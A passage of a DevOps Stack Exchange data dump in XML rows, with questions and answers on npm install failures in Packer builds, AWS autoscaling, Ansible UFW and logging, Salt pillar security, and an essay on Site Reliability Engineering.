'/opt/socks-proxy/node_modules/tomahawk/node_modules/socket.io/node_modules/engine.io/node_modules/ws/build'&#xD;&#xA;    amazon-ebs: CXX(target) Release/obj.target/bufferutil/src/bufferutil.o&#xD;&#xA;    amazon-ebs: bufferutil.target.mk:96: recipe for target 'Release/obj.target/bufferutil/src/bufferutil.o' failed&#xD;&#xA;    amazon-ebs: make: Leaving directory '/opt/socks-proxy/node_modules/tomahawk/node_modules/socket.io/node_modules/engine.io/node_modules/ws/build'&#xD;&#xA;    amazon-ebs:&#xD;&#xA;    amazon-ebs: &gt; ws@0.4.31 install /opt/socks-proxy/node_modules/tomahawk/node_modules/socket.io/node_modules/socket.io-client/node_modules/engine.io-client/node_modules/ws&#xD;&#xA;    amazon-ebs: &gt; (node-gyp rebuild 2&gt; builderror.log) || (exit 0)&#xD;&#xA;    amazon-ebs:&#xD;&#xA;    amazon-ebs: make: Entering directory '/opt/socks-proxy/node_modules/tomahawk/node_modules/socket.io/node_modules/socket.io-client/node_modules/engine.io-client/node_modules/ws/build'&#xD;&#xA;    amazon-ebs: CXX(target) Release/obj.target/bufferutil/src/bufferutil.o&#xD;&#xA;    amazon-ebs: bufferutil.target.mk:96: recipe for target 'Release/obj.target/bufferutil/src/bufferutil.o' failed&#xD;&#xA;    amazon-ebs: make: Leaving directory '/opt/socks-proxy/node_modules/tomahawk/node_modules/socket.io/node_modules/socket.io-client/node_modules/engine.io-client/node_modules/ws/build'&#xD;&#xA;    amazon-ebs: proxy-socks-server@1.0.0 /opt/socks-proxy&#xD;&#xA;    amazon-ebs: npm WARN optional SKIPPING OPTIONAL DEPENDENCY: fsevents@^1.0.0 (node_modules/chokidar/node_modules/fsevents):&#xD;&#xA;    amazon-ebs: npm WARN notsup SKIPPING OPTIONAL DEPENDENCY: Unsupported platform for fsevents@1.1.1: wanted {&quot;os&quot;:&quot;darwin&quot;,&quot;arch&quot;:&quot;any&quot;} (current: {&quot;os&quot;:&quot;linux&quot;,&quot;arch&quot;:&quot;x64&quot;})&#xD;&#xA;    amazon-ebs: npm WARN proxy-socks-server@1.0.0 No repository field.&#xD;&#xA;    amazon-ebs: ├─┬ cluster@0.7.7&#xD;&#xA;    amazon-ebs: │ ├── log@1.4.0&#xD;&#xA;    ...&#xD;&#xA;    amazon-ebs: └─┬ ipv6@3.1.1&#xD;&#xA;    amazon-ebs: ├── cli@0.4.5&#xD;&#xA;    amazon-ebs: └── sprintf@0.1.3&#xD;&#xA;    amazon-ebs:&#xD;&#xA;    ...&#xD;&#xA;    (packer continues)&#xD;&#xA;&#xD;&#xA;So, it seems that `npm` does not return an error code if there are timeouts. The result is that packer will not notice it and in the end, it will result in a potentially broken AMI.&#xD;&#xA;&#xD;&#xA;**Is there some way to make `npm install` less risky?**&#xD;&#xA;&#xD;&#xA;When in doubt, I would prefer that it breaks better too much than too little when there is a chance that the installation was not successful. Then you would at least see it and then you can react on it. Otherwise, in the worst case, you will end up deploying a broken AMI.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;To simulate the error handling, I also made a local experiment where I disabled my network connection and run `npm install`. It took some while, but eventually gave up. Still it continued silently and returned a non-error return code:&#xD;&#xA;&#xD;&#xA;    npm install &amp;&amp; echo &quot;SUCCESS&quot;&#xD;&#xA;    npm WARN optional SKIPPING OPTIONAL DEPENDENCY: fsevents@^1.0.0 (node_modules/chokidar/node_modules/fsevents):&#xD;&#xA;    npm WARN notsup SKIPPING OPTIONAL DEPENDENCY: Unsupported platform for fsevents@1.1.1: wanted {&quot;os&quot;:&quot;darwin&quot;,&quot;arch&quot;:&quot;any&quot;} (current: {&quot;os&quot;:&quot;linux&quot;,&quot;arch&quot;:&quot;x64&quot;})&#xD;&#xA;    npm WARN proxy-socks-server@1.0.0 No description&#xD;&#xA;    npm WARN proxy-socks-server@1.0.0 No repository field.&#xD;&#xA;    SUCCESS&#xD;&#xA;&#xD;&#xA;Here, I would rather see it fail when it is run in an automated environment.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.packer.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="4193" PostHistoryTypeId="1" PostId="1267" RevisionGUID="73b96fd7-64f5-4783-b07c-c51efa60ee9e" CreationDate="2017-05-31T13:32:15.460" UserId="2708" Text="Force script to fail if &quot;npm install&quot; has network issues" ContentLicense="CC BY-SA 3.0" />
  <row Id="4194" PostHistoryTypeId="3" PostId="1267" RevisionGUID="73b96fd7-64f5-4783-b07c-c51efa60ee9e" CreationDate="2017-05-31T13:32:15.460" UserId="2708" Text="&lt;packer&gt;&lt;npm&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4195" PostHistoryTypeId="5" PostId="1263" RevisionGUID="477db302-0e07-4dd3-91b7-5bb87bf64993" CreationDate="2017-05-31T15:18:12.210" UserId="2845" Comment="edited body" Text="While technologically containers and virtual machines are very different, there is no apparent difference to your software. Your argument here is that data is special and will always be a unique snowflake so your question basically boils down to what to do about it.&#xD;&#xA;&#xD;&#xA;This is the perpetual challenge of the model. Either A) your data will be in a database or B) a datastore so how do you manage that?&#xD;&#xA;&#xD;&#xA;The answer is that yes, your database servers can and should also be treated as cattle - and [I recently detailed several techniques and technologies for doing so](https://devops.stackexchange.com/a/1220/2845) in house. If you don't treat your data storage (databases, storage filers) as cattle you will find you have a single points of failure within your data(base) infrastructure and a lack of scalability and redundancy. These techniques I discuss in my linked answer basically allow you to distribute and cluster your relational database in a manner similar to Cassandra.&#xD;&#xA;&#xD;&#xA;Managing your data(bases) and making data(bases) redundant is probably the most difficult challenge facing DevOps. The easiest way to solve the problem: outsource the headache to a cloud provider.&#xD;&#xA;&#xD;&#xA;So in short, yes the &quot;cattle not pets&quot; distinction apply as equally to machine instances as to containers." ContentLicense="CC BY-SA 3.0" />
  <row Id="4196" PostHistoryTypeId="2" PostId="1268" RevisionGUID="9039a202-32da-470e-a537-5df0a9bbc7c4" CreationDate="2017-05-31T21:03:09.283" UserId="2845" Text="Try piping your output to grep and then failing based off of the return code of grep:&#xD;&#xA;&#xD;&#xA;    npm install 2&gt;&amp;1 | grep &quot;Error: connect ETIMEDOUT&quot;&#xD;&#xA;&#xD;&#xA;Per the [grep documentation](https://www.gnu.org/software/grep/manual/html_node/Exit-Status.html),&#xD;&#xA;&#xD;&#xA;&gt;the exit status is 0 if a line is selected, 1 if no lines were selected, and 2 if an error occurred.&#xD;&#xA;&#xD;&#xA;If needed, you can [&quot;not&quot; the return code](https://stackoverflow.com/questions/15073048/bash-not-inverting-the-exit-status-of-a-command) or just invert the conditional so that:&#xD;&#xA;&#xD;&#xA;    if [ &quot;$?&quot; -ne &quot;0&quot; ]; then&#xD;&#xA;        echo &quot;Packer failed!&quot;&#xD;&#xA;        exit 1&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;becomes instead:&#xD;&#xA;&#xD;&#xA;    if [ &quot;$?&quot; -ne &quot;1&quot; ]; then&#xD;&#xA;        echo &quot;Packer failed!&quot;&#xD;&#xA;        exit 1&#xD;&#xA;    fi" ContentLicense="CC BY-SA 3.0" />
  <row Id="4197" PostHistoryTypeId="2" PostId="1269" RevisionGUID="2c9a9434-b697-4742-a535-6627ee56a1b2" CreationDate="2017-06-01T11:45:50.147" UserId="465" Text="I've got an [ec2][1] [autoscaling][2] group that starts in the morning and finishes in the evening. I'd like to create a 'button' that people can click to warm up the autoscaling group to run jobs in the middle of the night (only on an on-demand basis). &#xD;&#xA;&#xD;&#xA;My question is: **What is the ec2 [cli][3] command to modify the minimum number of nodes in a scaling group?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Amazon_Elastic_Compute_Cloud&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Autoscaling#Amazon_Web_Services_.28AWS.29&#xD;&#xA;  [3]: https://aws.amazon.com/cli/" ContentLicense="CC BY-SA 3.0" />
  <row Id="4198" PostHistoryTypeId="1" PostId="1269" RevisionGUID="2c9a9434-b697-4742-a535-6627ee56a1b2" CreationDate="2017-06-01T11:45:50.147" UserId="465" Text="What is the ec2 cli command to modify the minimum number of nodes in a scaling group?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4199" PostHistoryTypeId="3" PostId="1269" RevisionGUID="2c9a9434-b697-4742-a535-6627ee56a1b2" CreationDate="2017-06-01T11:45:50.147" UserId="465" Text="&lt;amazon-ec2&gt;&lt;autoscaling&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4200" PostHistoryTypeId="2" PostId="1270" RevisionGUID="3eb82f54-166b-415e-8ad5-7958bf80aa5c" CreationDate="2017-06-01T11:59:04.167" UserId="13" Text="I'd go with `aws autoscaling set-desired-capacity` following the [documentation](http://docs.aws.amazon.com/autoscaling/latest/userguide/as-manual-scaling.html#as-manual-scaling-aws-cli)&#xD;&#xA;&#xD;&#xA;But if you're up to make a button you should look into the various [AWS sdk (on top right is the list of them)](https://aws.amazon.com/documentation/) to call the [related API](https://docs.aws.amazon.com/AutoScaling/latest/APIReference/API_SetDesiredCapacity.html) instead of forking to a system command.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4201" PostHistoryTypeId="2" PostId="1271" RevisionGUID="0dc62f5f-450c-4f32-93a0-4b6554e30204" CreationDate="2017-06-01T13:02:45.230" UserId="13" Text="&lt;ul&gt;&#xA;    &lt;li&gt;Anything not directly related to DevOps subjects&lt;/li&gt;&#xA;    &lt;li&gt;Basic system administration or software questions (there's a better place for it on stackexchange sites)&lt;/li&gt;&#xA;    &lt;li&gt;Questions that are primarily opinion-based&lt;/li&gt;&#xA;    &lt;li&gt;Questions with too many possible answers or that would require an extremely long answer&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4202" PostHistoryTypeId="2" PostId="1272" RevisionGUID="503cfd64-651f-44ca-a6ed-2fb343c098fd" CreationDate="2017-06-01T16:59:41.537" UserId="210" Text="The [UFW module document][1] has been read, but it is unclear how to let ansible remove ports that are not defined anymore.&#xD;&#xA;&#xD;&#xA;It works to add new ports, but now 5 ports have been removed and I do not want to login to each of the more than 50 servers.&#xD;&#xA;&#xD;&#xA;It is possible to write some custom exec, but I would like to use the Ansible's UFW module's functionality. Does it support such a scenario?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/ufw_module.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="4203" PostHistoryTypeId="1" PostId="1272" RevisionGUID="503cfd64-651f-44ca-a6ed-2fb343c098fd" CreationDate="2017-06-01T16:59:41.537" UserId="210" Text="How to ensure that removed allowed ports will be removed using Ansible's UFW module?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4204" PostHistoryTypeId="3" PostId="1272" RevisionGUID="503cfd64-651f-44ca-a6ed-2fb343c098fd" CreationDate="2017-06-01T16:59:41.537" UserId="210" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4205" PostHistoryTypeId="2" PostId="1273" RevisionGUID="7ea53b48-b5c8-433e-88d3-25cf41188ac2" CreationDate="2017-06-01T17:05:48.723" UserId="210" Text="Based on:&#xD;&#xA;&#xD;&#xA;&gt;     # Allow OpenSSH. (Note that as ufw manages its own state, simply removing&#xD;&#xA;&gt;     # a rule=allow task can leave those ports exposed. Either use delete=yes&#xD;&#xA;&gt;     # or a separate state=reset task)&#xD;&#xA;&#xD;&#xA;The following snippet was added to the top of the file:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - name: Reset UFW&#xD;&#xA;      ufw:&#xD;&#xA;        state: reset&#xD;&#xA;&#xD;&#xA;Once ansible was run:&#xD;&#xA;&#xD;&#xA;    TASK [rolename : Reset UFW]&#xD;&#xA;&#xD;&#xA;the undefined ports were removed" ContentLicense="CC BY-SA 3.0" />
  <row Id="4206" PostHistoryTypeId="50" PostId="292" RevisionGUID="7f769fd8-4247-4bd7-8005-7e37b31181ec" CreationDate="2017-06-01T21:09:35.430" UserId="-1" />
  <row Id="4207" PostHistoryTypeId="2" PostId="1274" RevisionGUID="53988975-b110-4da6-8dbb-9d4e91dda8b9" CreationDate="2017-06-01T23:42:56.947" UserId="3001" Text="From a high level, why do you have both jenkins and developers pushing to the branch? If you have enough CI testing for jenkins to force-push to the branch, then you have enough CI testing to revoke push access from the developers. At first it sounds scary to only have robots pushing to branches (and you should also have a small core team with push access which is only used in the direst of situations), but once you take the plunge into branches gated by CI -- meaning CI must pass before merges are allowed -- operational confidence in the code will quickly increase." ContentLicense="CC BY-SA 3.0" />
  <row Id="4208" PostHistoryTypeId="5" PostId="1263" RevisionGUID="9719fa61-3f49-4075-bc63-bbea5ec1c786" CreationDate="2017-06-02T03:53:10.860" UserId="2845" Comment="added 131 characters in body" Text="While technologically, containers and virtual machines are very different, there is no apparent difference from the perspective of your software. It seems like the argument in your question is that data is special and will always be a unique snowflake, so your question basically boils down to what to do about it in terms of DevOps, CI and Automation.&#xD;&#xA;&#xD;&#xA;This is the perpetual challenge of the DevOps model. Ultimately, what you are asking is, either A) your data will be in a database or B) a datastore , so how do you manage that?&#xD;&#xA;&#xD;&#xA;The answer is that yes, your database servers can and should also be treated as cattle - and [I recently detailed several techniques and technologies for doing so](https://devops.stackexchange.com/a/1220/2845) in house. If you don't treat your data storage (databases, storage filers) as cattle you will find you have a single points of failure within your data(base) infrastructure and a lack of scalability and redundancy. These techniques I discuss in my linked answer basically allow you to distribute and cluster your relational database in a manner similar to Cassandra.&#xD;&#xA;&#xD;&#xA;Managing your data(bases) and making data(bases) redundant is probably the most difficult challenge facing DevOps. The easiest way to solve the problem: outsource the headache to a cloud provider.&#xD;&#xA;&#xD;&#xA;So in short, yes the &quot;cattle not pets&quot; distinction apply as equally to machine instances as to containers." ContentLicense="CC BY-SA 3.0" />
  <row Id="4209" PostHistoryTypeId="2" PostId="1275" RevisionGUID="17da1530-fa3a-4e9c-8256-6bd6f02192ba" CreationDate="2017-06-02T13:04:56.860" UserId="210" Text="[The Ansible module index][1] has been consulted, but no module was found that checks whether a port is available? Is there a module that supports this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/list_of_all_modules.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="4210" PostHistoryTypeId="1" PostId="1275" RevisionGUID="17da1530-fa3a-4e9c-8256-6bd6f02192ba" CreationDate="2017-06-02T13:04:56.860" UserId="210" Text="Is there an ansible module that check whether a port is available?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4211" PostHistoryTypeId="3" PostId="1275" RevisionGUID="17da1530-fa3a-4e9c-8256-6bd6f02192ba" CreationDate="2017-06-02T13:04:56.860" UserId="210" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4212" PostHistoryTypeId="2" PostId="1276" RevisionGUID="5678341c-1eda-42a2-a86d-3339277f5946" CreationDate="2017-06-02T13:35:09.423" UserId="775" Text="I think you're looking for the `wait_for` module. It will allow you to check and make an action when certain port is available, and more. You can review it [here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/wait_for_module.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="4213" PostHistoryTypeId="2" PostId="1277" RevisionGUID="a6bffc47-2f88-4ae4-88b3-0a36c6c62e8e" CreationDate="2017-06-02T15:20:05.547" UserId="2901" Text="One of my ansible tasks imports an Oracle database using `impdp`.&#xD;&#xA;&#xD;&#xA;This generates a *lot* of output to the console so I have set `no_log: True`.&#xD;&#xA;&#xD;&#xA;However, when this fails I want to see the log!&#xD;&#xA;&#xD;&#xA;How can I make this particular task log to a file and not to the console?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4214" PostHistoryTypeId="1" PostId="1277" RevisionGUID="a6bffc47-2f88-4ae4-88b3-0a36c6c62e8e" CreationDate="2017-06-02T15:20:05.547" UserId="2901" Text="How Do I Log Task Output To A File?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4215" PostHistoryTypeId="3" PostId="1277" RevisionGUID="a6bffc47-2f88-4ae4-88b3-0a36c6c62e8e" CreationDate="2017-06-02T15:20:05.547" UserId="2901" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4216" PostHistoryTypeId="2" PostId="1278" RevisionGUID="8dfc3065-293c-4c1e-80c0-2f315a8537a0" CreationDate="2017-06-02T16:13:20.793" UserId="960" Text="The mean time to recover has an implied subject - the mean time to recover *what*? Defining this is key to using the metric effectively.&#xA;&#xA;Are you recovering the general availability of your production website? Are you recovering the functionality of a particular feature that has a bug in it? Once you know what you're actually trying to measure, it's much easier to measure it!&#xA;&#xA;The general thrust of your question seems to actually be surrounding the competing goals of shipping features and maintaining reliability, which is an ages-old battle. Traditionally it is developers' jobs to implement new things, and sysadmins' jobs to prevent things from breaking, and this leads to departmental conflict, as change tends to cause breakage. One of the philosophies oft associated with DevOps is the idea that developers and ops engineers should work closely together so as to ease this tension.&#xA;&#xA;You may also be interested in Google's approach to that problem, which is to have &quot;error budgets&quot; for development teams to spend; once they've penalized stability too much, they must spend the rest of the quarter only working on stability. Along with this, the site reliability engineers have available goals, and if they *over* shoot, they are encouraged to let more changes through; the idea here is that their goal must not simply be to maintain reliability as high as possible, as then they'd be motivated to fight change in every situation." ContentLicense="CC BY-SA 3.0" />
  <row Id="4217" PostHistoryTypeId="2" PostId="1279" RevisionGUID="c952a88d-327c-4eab-bfc7-84f435518d0a" CreationDate="2017-06-02T18:49:27.590" UserId="339" Text="I found this in a pillar top.sls example:&#xD;&#xA;&#xD;&#xA;    # See https://groups.google.com/forum/#!topic/salt-users/UWfP6bMe6F8&#xD;&#xA;    {% include 'hosts/' + salt['grains.get']('fqdn') + '.sls' ignore missing %}&#xD;&#xA;&#xD;&#xA;This strikes me as distinctly insecure, as it runs counter to one of the [Salt Best Practices](https://docs.saltstack.com/en/latest/topics/best_practices.html#general-rules):&#xD;&#xA;&#xD;&#xA;&gt; Don't use grains for matching in your pillar top file for any sensitive pillars.&#xD;&#xA;&#xD;&#xA;Why is this insecure? Well, grains are evaluated _on the minion_, so if a minion is sufficiently compromised, it can return whatever an attacker wishes for an arbitrary grain call. A compromised minion might claim to be an SSL (or VPN!) terminator to get at private key material, for example. &#xD;&#xA;&#xD;&#xA;Fortunately, there's a (theoretical) solution; use the minion ID. Minion IDs are unique, and they're verified on the master cryptographically.&#xD;&#xA;&#xD;&#xA;Except I can't find how to get at the minion ID without depending on grains. Remember, the grains are executed on the minion, so even if the Salt master knows at the transport layer what the minion ID is, if you query for the minion ID via grains, you're asking the minion for the ID, not the master.&#xD;&#xA;&#xD;&#xA;So how can I get at the master's concept of the minion ID from Jinja on the master?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4218" PostHistoryTypeId="1" PostId="1279" RevisionGUID="c952a88d-327c-4eab-bfc7-84f435518d0a" CreationDate="2017-06-02T18:49:27.590" UserId="339" Text="Securely grab minion ID in pillar top file template?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4219" PostHistoryTypeId="3" PostId="1279" RevisionGUID="c952a88d-327c-4eab-bfc7-84f435518d0a" CreationDate="2017-06-02T18:49:27.590" UserId="339" Text="&lt;salt&gt;&lt;jinja&gt;&lt;pillar&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4220" PostHistoryTypeId="2" PostId="1280" RevisionGUID="19a8913c-2d06-4014-8f2b-1535e82d4aaa" CreationDate="2017-06-02T18:51:15.897" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="4221" PostHistoryTypeId="1" PostId="1280" RevisionGUID="19a8913c-2d06-4014-8f2b-1535e82d4aaa" CreationDate="2017-06-02T18:51:15.897" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4222" PostHistoryTypeId="2" PostId="1281" RevisionGUID="b9048716-8572-4335-8584-04da02d3d728" CreationDate="2017-06-02T18:51:15.897" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="4223" PostHistoryTypeId="1" PostId="1281" RevisionGUID="b9048716-8572-4335-8584-04da02d3d728" CreationDate="2017-06-02T18:51:15.897" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4224" PostHistoryTypeId="5" PostId="1279" RevisionGUID="f1c6cd78-2794-465d-9ca6-0bcaff381428" CreationDate="2017-06-02T19:19:39.883" UserId="339" Comment="Be clear the specific context of the code snippet" Text="I found this SLS file in a pillar top.sls targeting example:&#xD;&#xA;&#xD;&#xA;`top.sls`:&#xD;&#xA;&#xD;&#xA;    base:&#xD;&#xA;      '*':&#xD;&#xA;        - hostspecificsls&#xD;&#xA;&#xD;&#xA;`hostspecificsls`:&#xD;&#xA;&#xD;&#xA;    # See https://groups.google.com/forum/#!topic/salt-users/UWfP6bMe6F8&#xD;&#xA;    {% include 'hosts/' + salt['grains.get']('fqdn') + '.sls' ignore missing %}&#xD;&#xA;&#xD;&#xA;This strikes me as distinctly insecure, as it runs counter to one of the [Salt Best Practices](https://docs.saltstack.com/en/latest/topics/best_practices.html#general-rules):&#xD;&#xA;&#xD;&#xA;&gt; Don't use grains for matching in your pillar top file for any sensitive pillars.&#xD;&#xA;&#xD;&#xA;Why is this insecure? Well, grains are evaluated _on the minion_, so if a minion is sufficiently compromised, it can return whatever an attacker wishes for an arbitrary grain call. A compromised minion might claim to be an SSL (or VPN!) terminator to get at private key material, for example. &#xD;&#xA;&#xD;&#xA;Fortunately, there's a (theoretical) solution; use the minion ID. Minion IDs are unique, and they're verified on the master cryptographically.&#xD;&#xA;&#xD;&#xA;Except I can't find how to get at the minion ID without depending on grains. Remember, the grains are executed on the minion, so even if the Salt master knows at the transport layer what the minion ID is, if you query for the minion ID via grains, you're asking the minion for the ID, not the master.&#xD;&#xA;&#xD;&#xA;So how can I get at the master's concept of the minion ID from Jinja on the master?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4225" PostHistoryTypeId="2" PostId="1282" RevisionGUID="580ed9c9-8b4e-44ec-8780-6597afeb4fc5" CreationDate="2017-06-03T02:23:22.113" UserId="3013" Text="Tee will be a very simple tool for logging, you can refer the following command.&#xD;&#xA;eric@eric-MacBookPro:~$ ansible -m ping all | tee &gt; /tmp/ansible.log&#xD;&#xA;eric@eric-MacBookPro:~$ cat /tmp/ansible.log &#xD;&#xA;localhost | SUCCESS =&gt; {&#xD;&#xA;    &quot;changed&quot;: false,&#xD;&#xA;    &quot;ping&quot;: &quot;pong&quot;&#xD;&#xA;}&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4226" PostHistoryTypeId="6" PostId="1277" RevisionGUID="febb067a-aa57-4bd8-8da0-30da8e78efd0" CreationDate="2017-06-03T05:34:27.513" UserId="739" Comment="add logging tag" Text="&lt;ansible&gt;&lt;logging&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4227" PostHistoryTypeId="24" PostId="1277" RevisionGUID="febb067a-aa57-4bd8-8da0-30da8e78efd0" CreationDate="2017-06-03T05:34:27.513" Comment="Proposed by 739 approved by 47, 40 edit id of 356" ContentLicense="CC BY-SA 3.0" />
  <row Id="4228" PostHistoryTypeId="2" PostId="1283" RevisionGUID="c82d29cd-05ac-4c8b-a2a2-a41425dc652e" CreationDate="2017-06-03T17:23:53.877" UserId="960" Text="Thankfully, since Site Reliability Engineering developed internally at Google and only recently has started to make its way into the broader community, it is fairly well-defined.  What *isn't*, though, is web operations (or &quot;systems administration&quot; - as an example of the lack of clarity, you use both in your question).  It's difficult to discuss the differences between two things when you're not altogether sure what one of them is.&#xD;&#xA;&#xD;&#xA;But I'm an adventurous fellow, so I'll give it a shot.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;In very traditional shops, developers and sysadmins are very siloed from each other.  The devs build an app, then consider their job complete as soon as their code has been committed.  The sysadmins take the build artifacts (which may be just the code, if it's an interpreted language) and deploy it to production servers.  It's the sysadmins' job to keep the application running smoothly, and in general manage the production environment.  However, often performance problems come from architecture issues in the app; the sysadmins don't have the programming knowledge to know what the app is doing, and the developers don't know how the app acts in the production topology with production traffic, so no one is equipped by themselves to solve the problem.&#xD;&#xA;&#xD;&#xA;Additionally, the developers are usually judged on how quickly they can produce new features, while the sysadmins are judged on how infrequent the app breaks in production.  Since change is one of the leading causes of breakage, this puts the two departments at odds with each other - an old rivalry that hurts the business and the people involved.&#xD;&#xA;&#xD;&#xA;At some point, some developer-centric companies [got so annoyed at this](https://perfcap.blogspot.com/2012/03/ops-devops-and-noops-at-netflix.html) that they began practicing &quot;NoOps&quot; - they eliminated their operations departments and the perceived roadblocks that came with them.  In reality, this meant that developers took on operations roles, but maintained their old titles.&#xD;&#xA;&#xD;&#xA;In [a discussion surrounding NoOps](https://gist.github.com/jallspaw/2140086), John Allspaw, then VP of Technical Operations at Etsy and an editor of [the well-respected Web Operations book](https://www.amazon.com/dp/1449377440/), defined roles at Etsy this way:&#xD;&#xA;&#xD;&#xA;&gt; Etsy Operations is responsible for:&#xD;&#xA;&gt; &#xD;&#xA;&gt; * Responding to outages, takes on-call&#xD;&#xA;&gt; * Alerting systems thresholding, design&#xD;&#xA;&gt; * Architecture design and review&#xD;&#xA;&gt; * Building metrics collection&#xD;&#xA;&gt; * Application configuration&#xD;&#xA;&gt; * Infrastructure buildout/management&#xD;&#xA;&gt; &#xD;&#xA;&gt; Etsy Development is responsible for:&#xD;&#xA;&gt; &#xD;&#xA;&gt; * Responding to outages, takes on-call&#xD;&#xA;&gt; * Alerting systems thresholding, design&#xD;&#xA;&gt; * Architecture design and review&#xD;&#xA;&gt; * Building metrics collection&#xD;&#xA;&gt; * Application configuration&#xD;&#xA;&gt; * Shipping public-facing code&#xD;&#xA;&gt; &#xD;&#xA;&gt; Neither of those lists are comprehensive, I'm sure I'm missing&#xD;&#xA;&gt; something there. While Etsy Ops has made production-facing application&#xD;&#xA;&gt; changes, they're few but real (and sometimes quite deep). While Etsy&#xD;&#xA;&gt; Dev makes Chef changes, they're few but real. If there's so much&#xD;&#xA;&gt; overlap in responsibilities, why the difference, you might ask? Domain&#xD;&#xA;&gt; expertise and background. Not many Devs have deep knowledge of how TCP&#xD;&#xA;&gt; slow start works, but Ops does. Not many Ops have a comprehensive&#xD;&#xA;&gt; knowledge of sorting or relevancy algorithms, but Dev does. Ops has&#xD;&#xA;&gt; years of experience in forecasting resource usage quickly with&#xD;&#xA;&gt; acceptable accuracy, Dev doesn't. Dev might not be aware of the pros&#xD;&#xA;&gt; and cons of distributing workload options across all layers1-7, maybe&#xD;&#xA;&gt; only just at 7, Ops does. Entity-relationship modeling may come&#xD;&#xA;&gt; natural to a developer, it may not to ops. In the end, they both&#xD;&#xA;&gt; discover solutions to various forms of Byzantine failure scenarios and&#xD;&#xA;&gt; resilience patterns, at all tiers and layers.&#xD;&#xA;&#xD;&#xA;In his world, developers and ops engineers had very similar high-level skill sets and responsibilities; where they differed was in their expertise.  Their differing specialties encouraged them to work together to solve problems, and their common base-level skills gave them a language in which to do that.&#xD;&#xA;&#xD;&#xA;This is generally the definition of web operations that I land on for most cases.  So it's the one we're going to continue along with.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;So then, what is Site Reliability Engineering?&#xD;&#xA;&#xD;&#xA;The Google SRE book opens with a definition of SRE... and then another one... and then spends a chapter continuing to define the role and an entire book covering the specifics.  Even when developed in one organization, it seems that it's difficult to condense the job down to one single agreed-upon definition.&#xD;&#xA;&#xD;&#xA;To start with, we need to walk back to 2003, when Ben Traynor joined Google and founded what came to be the first Site Reliability Engineering team.  Recall that a few paragraphs ago we were in the early 2010s; but in 2003, the industry was still pretty set on the sysadmin/developer divide as the natural way of things.  So when Ben says that SRE was what would happen if a software engineer created an operations team, this was a much more radical melding of the two worlds than it appears now.&#xD;&#xA;&#xD;&#xA;The definition given in the preface emphasizes each of the three words individually:&#xD;&#xA;&#xD;&#xA;* **Engineering** - the use of computer science and engineering concepts to solve problems&#xD;&#xA;* **Reliability** - a focus on making systems more scalable, more reliable, and more efficient&#xD;&#xA;* **Service** - the later evolution of &quot;site&quot;, emphasizing that SREs are responsible for networked services&#xD;&#xA;&#xD;&#xA;The introduction chapter lists the tenets of Site Reliability Engineering as:&#xD;&#xA;&#xD;&#xA;* **Ensuring a durable focus on engineering** - taking pre-emptive action to avoid frequent pages and other &quot;toil&quot;&#xD;&#xA;* **Persuing maximum change velocity without violating a service's SLO** - a subject that can easily have its own several-hundred word answer, but roughly summarized as *helping* developers make changes, as long as they don't cause *too many* issues&#xD;&#xA;* **Monitoring** - automatic alerts when things go wrong&#xD;&#xA;* **Emergency response** - fixing things when they're broken&#xD;&#xA;* **Change management**&#xD;&#xA;* **Capacity planning**&#xD;&#xA;* **Provisioning**&#xD;&#xA;* **Efficiency and performance** - ensuring that a service performs *at* an expected level - bottlenecking hurts users, but excess capacity costs money&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;I'd categorize Site Reliability Engineering as a specialized subset of modern Web Operations.  An SRE organization focuses heavily on automating *everything*, to a degree that is only cost-effective in fairly large companies.  Ideas like error budgets can only work when your service has many, many requests, as otherwise you lose granularity (for a smaller service, a particular error could affect 0-20% of your requests, depending on the minute).  Related areas like security are absent from the SRE definition because companies large enough to have true SRE teams have dedicated teams for security.&#xD;&#xA;&#xD;&#xA;The SRE program, as defined by Google, is web ops developed for the specific needs of Google, and not necessarily applicable elsewhere.&#xD;&#xA;&#xD;&#xA;However, Site Reliability Engineering has been expanding in broader industry use recently.  My current job title is an SRE, even though I work at a much smaller company and my job description fits pretty well with John Allspaw's 2012 Etsy web ops 